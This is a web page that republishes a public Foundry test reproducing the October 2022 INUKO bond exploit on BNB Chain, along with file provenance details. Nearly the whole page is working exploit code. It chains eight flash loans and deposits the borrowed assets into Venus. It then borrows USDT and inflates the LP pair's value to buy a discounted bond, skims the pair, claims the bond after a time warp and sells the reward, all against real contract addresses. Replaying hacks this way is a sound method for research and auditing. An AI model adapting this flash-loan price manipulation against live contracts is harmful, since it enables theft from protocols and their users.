Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/INUKO_exp.sol

Public reproduction file for dataset entry INUKO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/INUKO_exp.sol326 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1587848874076430336
9// @Address
10// https://bscscan.com/txs?a=0xb12011c14e087766f30f4569ccaf735ec2182165
12interface Bond {
13 function buyBond(uint256 lpAmount, uint256 bondId) external;
14 function claim(
15 uint256 index
16 ) external;
19interface VBUSD {
20 function mint(
21 uint256 mintAmount
22 ) external;
23 function redeemUnderlying(
24 uint256 redeemAmount
25 ) external;
28interface VBNB {
29 function mint() external payable;
30 function redeemUnderlying(
31 uint256 redeemAmount
32 ) external;
35interface VETH {
36 function mint(
37 uint256 mintAmount
38 ) external;
39 function redeemUnderlying(
40 uint256 redeemAmount
41 ) external;
44interface VBTC {
45 function mint(
46 uint256 mintAmount
47 ) external;
48 function redeemUnderlying(
49 uint256 redeemAmount
50 ) external;
53interface VUSDT {
54 function borrow(
55 uint256 borrowAmount
56 ) external;
57 function repayBorrow(
58 uint256 repayAmount
59 ) external;
62interface Unitroller {
63 function getAccountLiquidity(
64 address account
65 ) external returns (uint256, uint256, uint256);
66 function enterMarkets(
67 address[] calldata vTokens
68 ) external;
71contract ContractTest is Test {
72 IERC20 INUKO = IERC20(0xEa51801b8F5B88543DdaD3D1727400c15b209D8f);
73 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
74 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
75 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
76 IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
77 IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
78 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
79 Uni_Pair_V2 Pair = Uni_Pair_V2(0xD50B9Bcd8B7D4B791EA301DBCC8318EE854d8B67);
80 VBNB vBNB = VBNB(0xA07c5b74C9B40447a954e1466938b865b6BBea36);
81 VBUSD vBUSD = VBUSD(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);
82 VETH vETH = VETH(0xf508fCD89b8bd15579dc79A6827cB4686A3592c8);
83 VBTC vBTC = VBTC(0x882C173bC7Ff3b7786CA16dfeD3DFFfb9Ee7847B);
84 VUSDT vUSDT = VUSDT(0xfD5840Cd36d94D7229439859C0112a4185BC0255);
85 Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
86 IERC20 token1;
87 IERC20 token2;
88 uint256 amount1;
89 uint256 amount2;
90 uint256 amount3;
91 uint256 amount4;
92 uint256 amount5;
93 uint256 amount6;
94 uint256 amount7;
95 uint256 amount8;
96 uint256 amount9;
97 uint256 amount10;
98 uint256 amount11;
99 uint256 amount12;
100 uint256 amount13;
101 uint256 amount14;
102 uint256 amount15;
103 uint256 amount16;
104 address constant dodo1 = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;
105 address constant dodo2 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
106 address constant dodo3 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;
107 address constant dodo4 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
108 address constant dodo5 = 0x7A3F460F37AE8A8FF2C2440B8A8ee784cCD0B543;
109 address constant dodo6 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
110 address constant dodo7 = 0x9BA8966B706c905E594AcbB946Ad5e29509f45EB;
111 address constant dodo8 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
112 Bond bond = Bond(0x09beDDae85a9b5Ada57a5bd7979bb7b3dd08B538);
114 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
116 function setUp() public {
117 // the ankr rpc maybe dont work , please use QuickNode
118 cheats.createSelectFork("bsc", 22_169_169);
119 }
121 function testExploit() public payable {
122 address(WBNB).call{value: 5 ether}("");
123 // add LP
124 addLiquidity();
125 // FlashLoan manipulate price, then buy bond
126 buyBond();
127 // change time pass time check , claim reward
128 cheats.warp(block.timestamp + 3 * 24 * 60 * 60);
129 claimAndSell();
131 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
132 }
134 function addLiquidity() internal {
135 WBNB.approve(address(Router), type(uint256).max);
136 address[] memory path = new address[](3);
137 path[0] = address(WBNB);
138 path[1] = address(USDT);
139 path[2] = address(INUKO);
140 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
141 WBNB.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp
142 );
144 address[] memory path1 = new address[](2);
145 path1[0] = address(WBNB);
146 path1[1] = address(USDT);
147 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
148 WBNB.balanceOf(address(this)), 0, path1, address(this), block.timestamp
149 );
151 USDT.approve(address(Router), type(uint256).max);
152 INUKO.approve(address(Router), type(uint256).max);
153 Router.addLiquidity(
154 address(USDT),
155 address(INUKO),
156 USDT.balanceOf(address(this)),
157 INUKO.balanceOf(address(this)),
158 0,
159 0,
160 address(this),
161 block.timestamp
162 );
164 Pair.approve(address(bond), type(uint256).max);
165 }
167 function buyBond() internal {
168 token1 = IERC20(DVM(dodo1)._BASE_TOKEN_());
169 token2 = IERC20(DVM(dodo1)._QUOTE_TOKEN_());
170 amount1 = token1.balanceOf(dodo1);
171 amount2 = token2.balanceOf(dodo1);
172 DVM(dodo1).flashLoan(amount1, amount2, address(this), new bytes(1)); //WBNB USDT
173 }
175 function DPPFlashLoanCall(
176 address sender,
177 uint256 baseAmount,
178 uint256 quoteAmount,
179 bytes calldata data
180 ) external payable {
181 if (msg.sender == dodo1) {
182 WBNB_BUSD_Pair_Loan();
183 } else if (msg.sender == dodo2) {
184 ETH_USDT_Pair_Loan1();
185 } else if (msg.sender == dodo3) {
186 WBNB_USDT_Pair_Loan();
187 } else if (msg.sender == dodo4) {
188 BTCB_BUSD_Pair_Loan();
189 } else if (msg.sender == dodo5) {
190 ETH_USDT_Pair_Loan2();
191 } else if (msg.sender == dodo6) {
192 ETH_BUSD_Pair_Loan();
193 } else if (msg.sender == dodo7) {
194 BTCB_USDT_Pair_Loan();
195 } else if (msg.sender == dodo8) {
196 venusLendingAndRepay();
197 BTCB.transfer(dodo8, amount15);
198 USDT.transfer(dodo8, amount16);
199 }
200 }
202 function WBNB_BUSD_Pair_Loan() internal {
203 token1 = IERC20(DVM(dodo2)._BASE_TOKEN_());
204 token2 = IERC20(DVM(dodo2)._QUOTE_TOKEN_());
205 amount3 = token1.balanceOf(dodo2);
206 amount4 = token2.balanceOf(dodo2);
207 DVM(dodo2).flashLoan(amount3, amount4, address(this), new bytes(1));
208 WBNB.transfer(dodo1, amount1);
209 USDT.transfer(dodo1, amount2);
210 }
212 function ETH_USDT_Pair_Loan1() internal {
213 token1 = IERC20(DVM(dodo3)._BASE_TOKEN_());
214 token2 = IERC20(DVM(dodo3)._QUOTE_TOKEN_());
215 amount5 = token1.balanceOf(dodo3);
216 amount6 = token2.balanceOf(dodo3);
217 DVM(dodo3).flashLoan(amount5, amount6, address(this), new bytes(1));
218 WBNB.transfer(dodo2, amount3);
219 BUSD.transfer(dodo2, amount4);
220 }
222 function WBNB_USDT_Pair_Loan() internal {
223 token1 = IERC20(DVM(dodo4)._BASE_TOKEN_());
224 token2 = IERC20(DVM(dodo4)._QUOTE_TOKEN_());
225 amount7 = token1.balanceOf(dodo4);
226 amount8 = token2.balanceOf(dodo4);
227 DVM(dodo4).flashLoan(amount7, amount8, address(this), new bytes(1));
228 ETH.transfer(dodo3, amount5);
229 USDT.transfer(dodo3, amount6);
230 }
232 function BTCB_BUSD_Pair_Loan() internal {
233 token1 = IERC20(DVM(dodo5)._BASE_TOKEN_());
234 token2 = IERC20(DVM(dodo5)._QUOTE_TOKEN_());
235 amount9 = token1.balanceOf(dodo5);
236 amount10 = token2.balanceOf(dodo5);
237 DVM(dodo5).flashLoan(amount9, amount10, address(this), new bytes(1));
238 WBNB.transfer(dodo4, amount7);
239 USDT.transfer(dodo4, amount8);
240 }
242 function ETH_USDT_Pair_Loan2() internal {
243 token1 = IERC20(DVM(dodo6)._BASE_TOKEN_());
244 token2 = IERC20(DVM(dodo6)._QUOTE_TOKEN_());
245 amount11 = token1.balanceOf(dodo6);
246 amount12 = token2.balanceOf(dodo6);
247 DVM(dodo6).flashLoan(amount11, amount12, address(this), new bytes(1));
248 BTCB.transfer(dodo5, amount9);
249 BUSD.transfer(dodo5, amount10);
250 }
252 function ETH_BUSD_Pair_Loan() internal {
253 token1 = IERC20(DVM(dodo7)._BASE_TOKEN_());
254 token2 = IERC20(DVM(dodo7)._QUOTE_TOKEN_());
255 amount13 = token1.balanceOf(dodo7);
256 amount14 = token2.balanceOf(dodo7);
257 DVM(dodo7).flashLoan(amount13, amount14, address(this), new bytes(1)); // WBNB BUSD
258 ETH.transfer(dodo6, amount11);
259 USDT.transfer(dodo6, amount12);
260 }
262 function BTCB_USDT_Pair_Loan() internal {
263 token1 = IERC20(DVM(dodo8)._BASE_TOKEN_());
264 token2 = IERC20(DVM(dodo8)._QUOTE_TOKEN_());
265 amount15 = token1.balanceOf(dodo8);
266 amount16 = token2.balanceOf(dodo8);
267 DVM(dodo8).flashLoan(amount15, amount16, address(this), new bytes(1)); // WBNB BUSD
268 ETH.transfer(dodo7, amount13);
269 BUSD.transfer(dodo7, amount14);
270 }
272 function venusLendingAndRepay() public payable {
273 uint256 BNBAmount = WBNB.balanceOf(address(this));
274 address(WBNB).call(abi.encodeWithSignature("withdraw(uint)", BNBAmount));
275 uint256 BUSDAmount = BUSD.balanceOf(address(this));
276 uint256 ETHAmount = ETH.balanceOf(address(this));
277 uint256 BTCBAmount = BTCB.balanceOf(address(this));
278 address[] memory cTokens = new address[](5);
279 cTokens[0] = address(vBNB);
280 cTokens[1] = address(vUSDT);
281 cTokens[2] = address(vBUSD);
282 cTokens[3] = address(vETH);
283 cTokens[4] = address(vBTC);
284 unitroller.enterMarkets(cTokens);
285 vBNB.mint{value: BNBAmount}();
286 BUSD.approve(address(vBUSD), type(uint256).max);
287 vBUSD.mint(BUSDAmount);
288 ETH.approve(address(vETH), type(uint256).max);
289 vETH.mint(ETHAmount);
290 BTCB.approve(address(vBTC), type(uint256).max);
291 vBTC.mint(BTCBAmount);
292 (, uint256 amount,) = unitroller.getAccountLiquidity(address(this));
294 vUSDT.borrow(amount * 99 / 100);
295 USDT.transfer(address(Pair), USDT.balanceOf(address(this)));
296 bond.buyBond(Pair.balanceOf(address(this)), 0);
297 Pair.skim(address(this));
298 USDT.approve(address(vUSDT), type(uint256).max);
299 vUSDT.repayBorrow(amount * 99 / 100);
300 vBNB.redeemUnderlying(BNBAmount);
301 address(WBNB).call{value: address(this).balance}("");
302 vBUSD.redeemUnderlying(BUSDAmount);
303 vETH.redeemUnderlying(ETHAmount);
304 vBTC.redeemUnderlying(BTCBAmount);
305 }
307 function claimAndSell() internal {
308 bond.claim(0);
309 INUKO.approve(address(Router), type(uint256).max);
310 address[] memory path = new address[](2);
311 path[0] = address(INUKO);
312 path[1] = address(USDT);
313 // TX LIMIT
314 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
315 25_000 * 1e18, 0, path, address(this), block.timestamp
316 );
317 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
318 25_000 * 1e18, 0, path, address(this), block.timestamp
319 );
320 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
321 INUKO.balanceOf(address(this)), 0, path, address(this), block.timestamp
322 );
323 }
325 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “INUKO” (2022-10-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
INUKO
Path
src/test/2022-10/INUKO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1a8ab8bc7ad5746f8cf36fd7576c383d6412051f
Language
Solidity
Size
327 lines
Date
2022-10-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/INUKO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1a8ab8bc7ad5746f8cf36fd7576c383d6412051f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.